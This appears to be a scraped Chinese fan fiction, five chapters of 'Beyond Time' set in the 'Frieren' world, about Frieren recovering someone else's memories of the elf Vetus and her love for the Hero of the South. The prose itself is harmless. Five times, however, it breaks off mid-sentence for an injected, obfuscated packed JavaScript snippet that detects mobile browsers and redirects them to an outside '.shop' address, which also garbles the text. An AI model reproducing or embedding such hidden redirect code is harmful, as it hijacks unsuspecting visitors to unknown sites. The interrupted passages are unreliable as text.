《时间之外[南勇/葬送的芙莉莲]》 1. 第 1 章 “芙莉莲,那里有什么吗?” 休塔尔克回过头,有些困惑地看向白发的精灵。 从刚刚开始,那家伙就一言不发地挺住了脚步,默然朝着某个方向看。 “是魔力的残痕呢。” 菲伦也跟着回过头。 魔法的战斗通常都会有些许魔力残留,对于等级较高的魔法使来说,可以通过魔力残痕来判断战斗情况甚至复盘战斗过程。 一路走来,他们也经过不少战场,菲伦早就对这种程度的残痕见怪不怪。 ——痕迹已经很浅了,显然距离留下这道痕迹的魔法发动,已经过了不短的时间。 一场古老的魔法原本不应该惹人注意。 “但是——” 芙莉莲转过头: “这不是战斗魔法留下的。” “什么意思?” 休塔尔克不解。 身为战士的他对魔法并不精通。 “一般来说,只有攻击性的魔法比较容易留下残痕,魔力会残留在撕裂的缝隙里。” 菲伦解释。 “这样看的话的确有些奇怪呢,芙莉莲大人。” “因为这里的土地并没有打斗留下的痕迹,但却留下了魔法的残痕。” “或许的确有东西被破坏了。” 芙莉莲嘟哝着,她抬起手,指尖缓缓亮起一个蓝色的光点。 “总觉得这个地方应该有【什么】存在才对啊……” 微光映亮精灵的面孔,解析魔法捕捉着那团魔力残痕。 随着解析深入,似有什么破碎的画面涌入了芙莉莲的脑海。 “这是……” 她缓缓张大了眼。 * “又见面了,芙莉莲。” 如火烧一样的红发披着落日的余晖出现在了树林边。 彼时芙莉莲尚且没有踏上旅途,只是终日在远离人迹的地方打发对于精灵而言过于漫长的时间而已。 她在这世间活了很久,不过这并不意味着她记性不好。 看着眼前突然出现的家伙,芙莉莲思索了片刻,问: “我们之前见过吗?” “见过哦。” 红发的人形生物倒背着手,凑到了芙莉莲的跟前: “不过……” 说到这里,她顿了顿,接着脸上露出一个爽朗的笑。 “你不记得也是当然的。” 奇怪的家伙。 芙莉莲在心里做出了这样的评价。 不过精灵总是各有各的奇怪。 是的,在这个距离下,芙莉莲已经可以清晰地看到那对属于精灵的耳朵。 红发精灵大大咧咧地找了个地方坐下,压倒了芙莉莲原本正准备采集的花。 芙莉莲微微蹙起眉。 * 这不是芙莉莲的记忆。 她从不记得自己曾见过这样一个红发精灵。 但她又有一种怪异的感觉,好像自己曾经见过她很多次。 维特丝。 她甚至清楚地知道那个人的名字。 这很奇怪。 * 芙莉莲想要弄清楚那团魔力残痕形成的原因,尽管这与他们原本旅途的目的无关。 菲伦对此稍微有些不满。 “芙莉莲大人,不快点走的话,冬天又要来了。” “这里是北方,冬天会比现在更寒冷,您打算顶着寒冷和魔物的攻击一直在这里逗留下去吗?” “我知道冬天快要来了。” 芙莉莲暂停了解析的魔法,示意菲伦试试看。 菲伦不解,但还是照做了。 光点再次亮起,几分钟之后,少女停下了施法,重新看向芙莉莲。 “我明白了。” 一旁不通魔法的休塔尔克崩溃: “所以到底是怎么回事啊!你们谁能给我解释一下啊!” 芙莉莲没有说话,而是重新使用起了魔法。 菲伦则是转过身,朝着树林深处走去: “总之先找到今天的食物吧。” “喂!菲伦……” 休塔尔克委屈巴巴地疾走了两步跟上: “那个什么残痕里到底有什么啊?” 菲伦的脚步稍微顿了一下,回头,认真回答了两个字: “时间。” * 「他说过我们还会再见,他从不说谎。」 「维特丝,他已经战死了。」 「那又怎么样呢?」 「芙莉莲,我会见到他的。」 * “记忆”又多出了一截,芙莉莲看到那个红发的精灵坐在水边晃着腿,踢起的水花在阳光下划出漂亮的虹色弧线。 “芙莉莲,你知道精灵的寿命有多长吗?” 这是个有点难以回答的问题。 精灵这个种族本身数量就很稀少,大家又都有各自的生活,鲜少有交集,因此芙莉莲从未见过因为寿数用尽而死去的同族。 古文献中倒是有记载,说精灵的平均寿命在七千到一万年之间,但这个年代比文字与文明的历史更久远,没人能验证这个数字的真实性。 芙莉莲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17398617|200387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己只活了千余年,这样的东西对她而言还太遥远。 或许是因为芙莉莲沉默了许久,维特丝转头看了过来。 视线交触的瞬间,维特丝忽然笑了起来。 “精灵在寿数将近的最后十年会有感知。” “我不知道别人会怎么样,但我知道我自己的。” 她收回视线,仰头望向天空。 “是一万一千五百一十七年,芙莉莲。” “你已经活了这么久了。” 芙莉莲随口应了一句,语气不咸不淡,甚至手里已经很自然地继续摆弄起了花草。 对于精灵来说,活得久并不是一件多让人奇怪的事。 “还有三年。” 维特丝的声音又一次传了过来。 “所以这一次,我看不到你和勇者一行打倒魔王的那一天了。” 芙莉莲的动作停了下来。 几个月之前,有人对她说过同样的话,那个人说她会在一年之后接受一位勇者的邀请,加入讨伐魔王的小队,然后拯救被魔族涂炭的世界。 那位勇者拥有预知的能力,他也走进了那场他早已预见的命运。 “你也拥有预知的能力吗?” 芙莉莲问。 “……也。” 维特丝踢水的动作忽然加大了几分力。 被踢破的水面发出一阵哗啦啦的响,细碎的水珠如雨般在半空漫开,又簌簌落下。 “果然这样说会让你想起他的事呢。” 话音与水声一并落下,坐在水边的精灵翻了个身,露出一张灿烂的笑脸。 “他很可爱,对不对?” * 芙莉莲觉得,自己印象中那位“南之勇者”无论如何也不适合用“可爱”这样的词来形容。 可维特丝却很喜欢这样说。 “他其实很挑食,在食物不匮乏的时候会偷偷把胡萝卜和洋葱挑出来。” “他总是一副大人一样平静又豁达的样子,实际超级在意自己的形象。” “他对自己的本名有点不满意,所以走到哪里都只用南之勇者这个代号。” 提起那个人的时候,维特丝脸上总会带上一种很特别的表情。 像是向往,像是怀念,又掺杂着许多说不清道不明的爱意。 和大多数的精灵不同,在维特丝的身上,似乎总充斥着格外浓烈的感情。 芙莉莲不懂那是什么。 维特丝告诉她: “那是爱情。” “芙莉莲,那位传说中人类最强的南之勇者,他是我的恋人。” 2. 第 2 章 芙莉莲听说过爱情。 在漫长的岁月里,她看过很多故事,也见过很多自称是相爱的人。 人们相遇,结合,繁衍后代,这是一种生物的本能,而爱似乎原本就是为此而存在的东西。 芙莉莲对于这种事情向来没有多大兴趣,如果这件事真的发生在几十年前,那么那时的她更是如此。 记忆也的确是如此展开的。 在听那个名叫维特丝的精灵提及这件事的时候,芙莉莲并没有更多的反应,就像南之勇者提及自己能看到未来时一样。 不过放在现在,芙莉莲倒是姑且愿意分神思考一下这件事。 菲伦和休塔尔克已经在一边升起了篝火,菲伦熟练地处理着捡来的野菜。 休塔尔克垂头丧气地在一边清理着一条两指宽的小鱼。 看起来,那应该是今天的晚餐了。 芙莉莲暂时歇了解析魔法,搓着手朝火堆凑了过去。 “芙莉莲大人。” 菲伦的声音传了过来。 芙莉莲看向依然垂头处理食材的菲伦。 “您看出什么了吗?” 菲伦问。 “嘛……算是有一点吧。” 芙莉莲回答。 晚饭期间,她说起了自己的发现。 “感觉那段记忆好像应该真实存在过才对,但我自己完全不记得啊。” 芙莉莲端着碗,跳动的火光如潮水,冲蚀着精灵脸上的光与影。 “会不会是什么特殊魔法?你们看,就是那种可以抹去人特定记忆的魔法之类的……” 休塔尔克在一旁猜测。 “如果使用魔法,总会留下痕迹的。” “能做到在芙莉莲大人不知不觉间施法,那个名叫维特丝的精灵应该也是很强大的魔法使吧?” “而且按照她自己的说法,她活了上万年呢。” 菲伦也加入了讨论。 “这里才是最让我不理解的。” 芙莉莲举起碗,将碗里最后一点食物拨进嘴里,吞咽下之后才开口。 “那个人只会一种魔法。” “她终其一生都只用过那一种魔法。” * “你好像学过很多种魔法呢。” 看到芙莉莲用手里的法杖轻轻松松地清理出一片空地,维特丝露出了惊叹的表情。 “这种程度的魔法很容易就能学会吧?” 芙莉莲收起了法杖。 “但我不会。” 维特丝说。 芙莉莲看了她一眼。 维特丝身上的魔力不算充盈,但即使是这种程度的魔力,也完全可以使用这些简单的魔法。 “是我自己做出的选择啦。” 维特丝笑着耸耸肩: “芙莉莲,这个世界上有精通各种魔法的魔法使,也有专门钻研一种魔法的。我只是比较极端,不愿意把为数不多的魔力分一丁点在其他地方罢了。” “哦。” 芙莉莲收回了视线。 * 如果那个时候的芙莉莲对维特丝多一点兴趣,那么或许会问出她当时学了什么样的魔法,也会问她有没有研究出魔法的什么特殊用途。 女神对于专注的魔法使偶尔也会有一些特别的嘉奖,会给予那些魔法使超脱魔法本身之外的特殊力量。 芙莉莲曾经听说过这样的传说,但从来都没亲眼见过。 毕竟肯把一生放在一件事上的人少之又少,能真正达到登峰造极的程度更是不容易。 花一万年的时间钻研同一个魔法,到底能做到什么程度呢? 喜欢魔法的芙莉莲对这样的问题多少还是有些好奇的。 不过她那个时候没有追问——其实也不需要追问。 那时的芙莉莲理所当然地这样觉得。 维特丝话很多,总会在芙莉莲耳边喋喋不休地说自己的事。 所以芙莉莲想,即使她不去问,对方也会把关键内容自己说出来的。 每次都是这样。 但关于维特丝的魔法真正是什么,芙莉莲是在很后来才完全弄清的。 * “按照这样的说法,芙莉莲大人似乎和那位维特丝大人一起旅行了很久呢。” 菲伦一手抱着膝盖,往火堆里添了根柴火。 “那根本就不是真实的记忆啊。” 芙莉莲说: “而且就算是在那样一段记忆里,也根本算不上是一起旅行吧。” 她仰头望向天空。 “只是那家伙单方面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17398618|200387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要强行走在我附近而已。” * 是的,那根本就是单方面的赖着不走。 * 从相遇那天开始,维特丝似乎就彻底赖上了芙莉莲。 那家伙话很多,总是吵得芙莉莲很是厌烦。 不过她试了几次都没能把人赶走,想要趁对方不注意时偷偷跑开也都失败了。 芙莉莲一向不会忍耐,她很直白地表达了自己的不满。 可那家伙像是听不懂话一样,反而很骄傲地挺起胸膛,说: “我可是很难摆脱的。” “你到底想要怎么样?” 芙莉莲彻底有些无奈了。 “没有想怎么样。” 维特丝背起手,往前走了几步。 有风吹过,掀起垂在她背后的赤色发丝,也卷落了树上的枯叶。 纷纷扬扬间,像是在半空勾起一道火焰。 她顿住了脚步,声音飘了过来。 “我要死了,芙莉莲。” “明明已经经历了很多无人知晓的岁月,可到了这个时候,我还是会有点不甘心。” “我死之后,还有谁能证明我存在过呢?” 空气安静了一瞬。 但很快,芙莉莲身上那一瞬的错愕便彻底褪去。 “可就算你这样烦我也不会有什么结果吧?” “就算你找上了我,告诉我关于你的一切,我也不会记得。” “而且我也会在未来的某日死掉,维特丝,精灵只是长寿,并非永生。” 维特丝笑了。 她笑着转过头,看向芙莉莲: “你说得没错,我的确是在做一件毫无意义的事。” “你对我根本没有兴趣,就算我讲给你这些,你也只会觉得我吵闹。” “可是芙莉莲,我还是想要讲给你听。” “就算被当成噪音,我也还是想要讲给你,或许未来的某一天,你会想起这些,或许到了那个时候,你会有不一样的感觉。” 芙莉莲未置可否。 维特丝又露出了个志得意满的表情。 “而且就算你不想听也没办法,芙莉莲,我可是很难摆脱的。” “毕竟这可是曾经打败过人类最强勇者的招数呢。” 3. 第 3 章 “第一次遇见那个人的时候,我刚满二百岁。” 维特丝是这样说的。 彼时的芙莉莲觉得,或许维特丝是昏了头,忘了自己的人设是活过上万年的、马上就要死亡的精灵。 毕竟南之勇者是人类,即使从他出生开始计算,到维特丝跟芙莉莲相遇那个时间节点满打满算也不过几十年而已。 更何况维特丝所说的和那个人的相遇,实际是在南之勇者踏上讨伐魔王的旅途之后。 * 南之勇者活跃的时代,正是魔族肆虐最为猖獗的时候。 彼时以北方诸国为中心,大半大陆都被魔族占领。 前去讨伐魔王的勇士一茬接着一茬,但大半都倒在了前往极北高原的途中。 折戟的勇者也不都是死于魔物之手,他们中间不乏实力强大的存在,他们不畏惧战斗。 但北方诸国的严酷气候对他们本身就是一种威胁,在如此恶劣的环境下,他们还不得不衣不解带地与魔族对抗。 无数勇者小队在这片战场昙花一现,然后陨落在无名的角落。 维特丝就曾经见过很多这样的人。 * 她出生在北方诸国边境的一栋林间小屋,跟在母亲身边长到了二十岁。 维特丝没有见过自己的父亲,但她从母亲口中得知,她的两亲原本都是各自旅行的精灵。 “精灵的生命太久,如果不找到什么可以穷极一生去追求的东西,要拿什么对抗漫长而空虚的时间呢?” 母亲曾经这样说。 父亲与母亲都是为了自己想追求的东西而踏上的旅程。 父亲执着于矿物和土地,母亲执着于药草。 他们在北方这片土地相遇,搭起了那座木屋,孕育了维特丝,然后在某一日的清晨,父亲离开了这座小屋,之后就再也没有回来。 而在维特丝二十岁的时候,母亲也离开了。 之后一百多年里,维特丝一直独自生活在北方边境线的那座木屋里。 偶尔外出采集,偶尔去附近的城镇做些零碎的任务或和人交易。 偶尔也会用自己的魔法救助被魔族袭击的旅人或者勇者小队。 时间日复一日地过着,好像死水一样,泛不起一丝涟漪。 母亲说得很对,在漫长的人生里,如果没有什么执着着想要去做的事,就很容易陷入空虚。 但想找到让人心甘情愿花一生去执着的东西也不容易。 为了找到那个属于她的“什么”,维特丝花了二百年。 * 二百岁,对于精灵而言尚且是很年轻的年纪。 某个清晨,维特丝如往常一样外出采集,然后在山崖嗅到了一股熟悉的血腥味。 她顺着血腥味找了过去,在一棵古树边上发现了一小滩血迹,还有一条长长的,延伸到崖下的拖痕。 维特丝立刻意识到是有人类在受了伤之后跌落了悬崖。 这座悬崖很陡峭,想直接爬下去可不容易。 维特丝没有那样的体力,也没有可以让自己浮空的魔法,如果想去崖底查看情况,得从另一边的缓坡绕一大段路下去。 很麻烦。 如果是寻常时刻,维特丝或许会就这么放弃。 她偶尔会救人,但对救人也没多少执念。 死生有命,就算用魔法强行续命,生命也总会在未来的某刻凋零。 那没意义。 又或者说,在将时间线拉长之后,那些生死,纷争,喜乐,似乎都变得没什么意义。 可维特丝还是绕路去了崖下。 或许是因为那天她心情不错,也或许是因为她太无聊了。 她花了两个小时来到了那个坠崖的旅人身边。 两个小时里,她一直没停歇地嘟囔着抱怨。 抱怨下山的路难走,抱怨山上的积雪太厚,抱怨今天的风冷,抱怨她等下还得再走一遍同样的路才能回家去。 一直到那个棕发青年的身影出现在她眼前,维特丝忽然安静了下来。 她看着他的身形,看着他有些苍白却英挺的面孔,沉默着,却忽然有种很奇异的感觉。 那时的维特丝还不明白那究竟是什么感觉,只是所有的抱怨都在一瞬间消失了,她甚至觉得,自己花了两个小时从崖上下来是一件很值的事。 那是她与南之勇者的第一次相遇。 * “芙莉莲,你有过喜欢的人吗?” “那真是种很奇妙的感觉,明明看起来只是和其他人没什么不同的人类,可是在看到他的时候就会想要去了解,想要去靠近,想要把他填进自己的全部余生里。” “人类的寿命很短来着吧。” 芙莉莲平静地陈述。 “那个人更是。从踏上北方的土地到最终殒命,也只有一年而已。” 芙莉莲没有把问题问出口,但意思也已经足够明显了。 只是一年的时间,要怎么填补精灵族漫长的余生呢? “是可以的哦,芙莉莲。” 红发精灵把手背在身后,有一下没一下地晃着。 “是可以填满的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17398619|200387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芙莉莲侧头看她,没有说话,似乎在等对方的下文。 但维特丝却没有说下去。 * 崖底距离维特丝的住处很远,把一个成年男性勇者搬送这样远的距离,对于肩不能扛手不能提的精灵魔法使来说不是一件容易的事。 如果她会飞行魔法或者漂浮魔法,或许还能轻松一点。 可维特丝并不会那些。 她只能用小小的身体扛着比她高处一截的男人,在雪地里一点点地挪蹭。 那副原本被风雪浸透了的躯体在她背上一点点地透出暖意,隔着衣料,有力的心跳声咚咚咚咚地敲着。 意外地让人安心。 安心是真实的,疲惫也是。 回到家里的时候,维特丝觉得自己简直去了半条命,只想躺在床上瘫上几个小时。 可她的床不宽,上面又堆满了杂物,根本躺不下两个人。 维特丝撇撇嘴,却还是认命地把男人好好放在了床上,将手按在他的伤处,催动起了魔法。 蓝色的光在伤处亮起,伤口以肉眼可见的速度愈合。 不过他没有醒过来。 这副身体还在发着烧,应该是战斗开始之前就如此了。 维特丝倒是也可以驱散这场风寒,不过她犹豫了一下,终究没那么做。 她不是僧侣,学习的不是女神的治愈魔法。 她的魔法本质是“回溯”,可以让人的身体恢复之前的状态,凭借这样的方式,伤口可以被治愈,疾病也可以恢复如初。 只是即使恢复了,身体也依然没有抵抗病原的能力,如果留在相同的环境下,大概率会在极短的时间里重新罹患同样的病症。 那样的治疗毫无意义。 维特丝在储藏箱里翻找出了一些草药,熬成汤剂,给昏睡的勇者灌了下去。 或许因为她动作不熟练,棕色的汤汁顺着他的唇角滑落,在皮肤上留下一道浅浅的痕迹。 那道痕迹恰与他唇上的胡须平行,看着莫名的滑稽。 维特丝忍不住笑了,她伸出手指,轻轻擦过他唇角的皮肤。 他忽然动了一下,鼻腔里发出一声无意识的哼鸣。 维特丝下意识抽回手,心跳没来由地乱了几分。 指尖残存着柔软的温度,青年唇侧的皮肤上落下药汤圈起的指痕。 他依然没有醒过来,可好像有什么别的东西,在这个小小的木屋里悄然醒了。 维特丝看着他的脸,那一刻,她忽然有种冲动。 她想亲吻他的脸。 4. 第 4 章 “我其实一直都不太明白母亲为什么会选择和父亲在一起,明明他们都有各自想要走的路,只是在旅途中偶然相遇,分别之后说不定几百几千年都不会再见,可他们还是相爱了。” “后来我才明白,爱情不是选择和什么人在一起,芙莉莲,爱情是坠入的一瞬间。” “无法抵抗,无法改变,等回过神来的时候,爱情就已经存在了。” 外面的雨淅淅沥沥,两个精灵挤在小小滴洞穴里,看着外面的雨帘。 维特丝的表情依然灿烂,同行这样一段时间之后,芙莉莲对于她这样的性情也终于有点习惯了。 也只是习惯。 芙莉莲垂着眼,看着雨滴打在地上的水洼里,荡起层层涟漪。 “照你这么说,那爱情这种东西还真是随便。” “或许吧。” 维特丝伸出手,任洞外的雨打在掌心。 “那个瞬间出现得或许的确那么随便,但要怎么来应付那个瞬间,每个人却又很不相同。” “有人想要逃离,有人想要将一切都抓在手里,还有的人……芙莉莲,或许有的人终其一生都不会留意那样的瞬间。” 芙莉莲的身体稍顿,抬头,看向身旁的人。 “有很多瞬间,可能要等很多年之后才会被人发现。” * 勇者是在当天的深夜醒来的。 彼时维特丝正单手撑着脑袋,坐在床边打瞌睡。 屋内没有点灯,只有透过窗的月色披在红发精灵的身上,晦暗的冷光安静又柔和,小小的身体随着呼吸起起伏伏,像是海浪轻轻推着沙滩。 勇者偏过头,看着那张明艳的面孔。 很久很久,久到时间好像都定格了一般。 外面似乎吹气了一阵风,摇曳的树影让她的影子也斑驳了一瞬。 勇者才恍然回过神来。 他垂下眼,轻轻叹了口气,接着轻手轻脚地掀开身上的被子,小心下了床。 他从口袋里摸出了二十个金币——那是他拥有的全部旅费。 他将钱袋放在了桌上,然后迈步到了门边。 即将伸手推开门的时候,他的动作又停了下来。 他回过头,看向那个还在沉睡的精灵,短暂的迟疑之后,他终还是回到了床边,捡起床榻上的被子,轻轻地盖在了她身上。 她呼吸乱了一瞬,让勇者的身体也有些僵硬。 但好在一切都很快恢复了原本的平静。 勇者闭上了眼,又轻轻叹息了一声,才再次回过头。 可在他回过头的瞬间,衣摆上忽的传来了一阵阻力。 很轻,却让他无法挣脱。 “你要去哪儿?” 女人的声音响起,带着初醒浓重的鼻音。 原本捏着衣摆的是指尖,但她很快握起拳,于是被攥住的皱褶也又添了些。 “我好歹救了你的命,你怎么能就这样走了呢?” “你风寒还没好全,我不许你离开。” 勇者没有说话,也没有去看她。 他只是低垂着视线,将自己的衣摆从她手里一点点地抽了出来。 她力气不大,这样做很容易。 被抽出的衣料散开在空气里,但仍有几道皱褶留在了上面。 勇者迈开了步子,仍朝门外走。 “喂!” 红发精灵急了,一骨碌地爬了起来,原本披在肩头的被子也跟着滑落。 “你这是什么意思?” 勇者没有停下。 他脚步很沉,踩进外面的风雪,每一步都像是要扎根在地里。 可他依然坚定地向前迈着步子。 “哪有你这样的人啊!我救了你,你居然连句感谢的话也没有,还这么冷冰冰地离开。” “你难道不会说话吗?喂!你慢一点,我还没找到鞋子!” 声音逐渐在勇者身背后远去,但很快又被拉近,随之而来的是一连串哒哒哒的脚步声。 那是赤脚踩在地面上的声音。 她没有穿鞋子。 勇者终于停住了。 他回过头,看向那个追来的红发精灵。 她身上的衣衫很单薄,脚上果然没有穿鞋子,一双赤足已经冻得有些发红。 她的体力大抵并不很好,见他停下,她也停在原地,撑着膝盖大口喘着气。 “回去吧。” 他说。 她倏地抬起头,一双眼睛张得老大。 “你这不是会说话吗!” “如果你想要感谢的话,我可以说给你。非常感谢你救了我的性命,但我有我一定要踏上的旅途,时间有限,恕我不能在此停歇。” “桌上有二十枚金币,算是我的一点心意,夜深天寒,外面危险。” “请你……回去吧。” “我不回去!” 精灵握起拳头,站直了身体: “凭什么你说要我回去我就非要回去不可呢?” “你也不听我的话呀,都说了你风寒未愈,这样闯出来,要是早早死掉的话,我的救助魔法不就白白浪费了吗!” “而且区区二十枚金币就想打发我,那根本就不够的!” “你都没有告诉我你是谁,这样放你离开了,我以后要向谁讨债嘛。” 她天生一张笑面,即使做出生气的模样,说话的时候,唇角也会自然向上扬。 月色洒在那对银色的眼里,亮晶晶的。 很好看。 勇者深吸了一口气,垂在身侧的手微微勾着,又松开。 “从作为勇者踏上这条路开始,我便注定与死亡为伴。” “我很抱歉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17398620|200387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他垂下头,接着缓缓转过身。 背后的披风被撕扯着飞扬起来,烈烈的响动像是剧院里落下的剧幕。 “请回去吧。” 维特丝咬了咬嘴唇。 对方拒绝的意味如此直白,如果她识趣,便该退开。 可她不甘心。 她活了二百年,第一次产生那样的情绪。 第一次那么那么地想要了解一个人。 如果不把这件事弄清楚,如果不把他看明白,如果此时此刻的她不能跟在他身边,维特丝想,那么她余下的漫长人生都一定会被遗憾填满。 于是她又追了上去。 地面很凉,夜风很冷,一路向前奔跑,冰冷的空气挤压进肺叶,近乎撕裂的痛苦让她格外难受。 可她还是想跟上他。 “我救了你的命,那你的命就也是我的了。” “我不许你这样胡来。” “你别走,你跟我回去——或者,或者至少带我一起离开也可以呀。” “一个人旅行很危险的吧?你都没有同伴吗?” “我虽然不是僧侣,但也会用治愈的魔法,带着我,多严重的伤势我都能给你救回来。” “不过我没有战斗能力,如果遇到危险,你得保护我才行。” “够了。” 青年又停了下来。 “维特丝,已经……足够了。” 空气倏然安静了下来。 红发的精灵愕然抬起头,露出了一双讶异的眼。 “……你怎么知道我的名字?” 勇者不说话了。 精灵伸出手,抓住了青年胸前的衣襟: “喂,我在问你话呢,你怎么……” 质问的话只说了一半,维特丝便觉得有股力量揽上了自己的腰,重心自然向青年的方向倾斜,顷刻便抹平了两个人之间的距离。 视野一阵轮转,待重新安定下来之后,维特丝才后知后觉地意识到,方才那一瞬,有股劲风袭向了她方才站着的地方。 是眼前的勇者眼疾手快地互着她躲了开。 她被裹在披风里,陌生的温度包裹着被北方的凛风吹得发僵的皮肤。 寒风在呼啸,魔物在叫嚣,可那一刻,维特丝却只听得见勇者胸腔里跃动的心跳。 她把脸颊贴了上去,缓缓闭上眼。 但青年却按着她的肩膀,强行撑开了一点距离。 “请不要离开那棵树的三步之外。” 他如此说。 与声音一起飘下的是那件尚且沾着他体温的披风。 披风如旗帜般落下,落在了维特丝头顶。 抬手撑开披风的边缘,维特丝看到了青年的身影。 那是她花了上万年的光阴凝视的身影。 手持双剑,一往无前。 5. 第 5 章 “他告诉过你吧?芙莉莲。” 一场大雨之后,地面的泥土吸饱了水,踩上去就会溅起泥点。 维特丝不喜欢踩在泥土上的感觉,便踮着脚,只往相对干净的地方踩。 那样的落脚点很少,而且间隔不近,她便在那些空地间跳来跳去。 跃动的身影掀着一头红发在她背后起起伏伏。 芙莉莲默默跟在她身后。 忽而她选错了方位,重重跳进了一滩泥水里,原本干净的裤子和鞋子顿时沾了泥点,连稍微隔开一点距离的芙莉莲也没能幸免。 红发精灵的脸上顿时露出了委屈的表情,也不管地面上的泥水,皱起一张脸,哒哒跑到芙莉莲的跟前: “芙莉莲——拜托了,用清洁魔法帮我弄干净吧——” 芙莉莲叹了口气,无奈地幻化出了魔法杖。 低头施法的时候,维特丝忽然捡起了之前的话题。 “他跟你提起过那个秘密,就是那个,他能看到未来的秘密。” 芙莉莲的动作顿了一下,思索了片刻,开口: “这么说的话确实如此。” “那个时候他跑过来问我要不要一起去讨伐魔王。那个时候他就告诉了我,他预见到自己会死在一年之后。” 空气难得地陷入了安静,罕见的,维特丝没有立刻在芙莉莲的话音落下之后立刻接话。 芙莉莲看向反常的维特丝,发现她在抬头望着天。 那张天生的笑面此刻却也几乎看不出多少笑意。 日光落在她眼底,照得那双眼周泛起浅浅的虹彩。 “他能看见未来,却没法改变未来。” “芙莉莲,你觉得这样的预知能力,是命运的馈赠,还是一种诅咒呢?” * 战斗结束得很快,一切都毫无悬念。 在一切尘埃落定之后,勇者收起了他的佩刀。 他似乎在原地踟蹰了一瞬,但他没有朝维特丝的方向多看一眼,而是转过身,继续朝前走。 “喂!” “你怎么又是这样一言不合地就要离开?” 勇者继续向前。 “喂!” 精灵急得跺了跺脚,原地踱了几步,却没有追上去,而是继续喊: “不是说要保护我吗?” “我听你的话,就留在这棵树的三步之内,你不回来,我说不定就会被魔物困死在这里了。” “这样也没关系吗?” 脚步声停了。 那道身影钉在了树林中间。 维特丝捏着身上披风的领口,眼里也终于多了几分希冀。 她朝那个方向迈了半步。 “你还是想要保护我的,对吧?” 勇者垂在身侧的手重新握紧成了拳。 是了,他是想要保护这个人。 也正因如此…… 正因如此。 “我不需要同伴。” 他说着,再次强迫自己迈开步子。 鞋底踏过地面,披风扫过灌木丛,风吹过树叶传来沙沙的响动。 背后却再没传来她声音。 他忽然有点不安。 他终于还是忍不住朝那个方向看了一眼。 红发的精灵还在那棵树的下面。 她蹲着身子,脑袋整个埋在了膝间。 像是在哭。 他有一种冲动,很强烈的冲动。 不如就这样吧,就这样向命运低头吧,就这样过去,去到她身边,让一切都如她所愿。 就这样遵从内心,苟且地在那样的冲动之下一晌贪欢。 然后在短暂的欢愉之后,看着命运坠入暗不见底的深渊。 可真的没法改变吗? 真的不能改变吗? 他在发动能力的时候无意间窥见的未来。 他在无数种可能性里看到的,和他自身的死亡一样仿佛注定一般的,她为了他而死去的未来。 如果哭泣可以换取她更好的余生,那么他必须狠下心来。 维特丝。 他在心里又念了一遍这个名字。 这世上怎么会有这样一个存在呢,让人只是想着,就忍不住地觉得幸福起来。 他想抱她。 他想吻她。 那像是一种原始的本能,在他遇见她之前,在他看到他们注定的结局之前。 可他是决意赴死之人。 他又凭什么用自己的私欲去掠夺自己所爱之人的未来呢? 他想她能过得好一点。 像是用尽了全身的力气一样,他强迫自己把身体转回来,他强迫自己不去看她,他强迫自己迈开步子,好像这样就可以逃离一切的不甘。 有风声在背后传来。 夹带着脚步声逐渐靠近。 那是她在向他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17398621|200387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑来。 她跑到了他的背后,从背后抱住了他。 她将整张面孔都贴在了他的背上。 那怀抱温暖而柔软,却强过这世上一切坚硬的锁链。 她靠着他,用带着哭腔的声音问他: “我就那么让你讨厌吗?” 勇者彻底不动了。 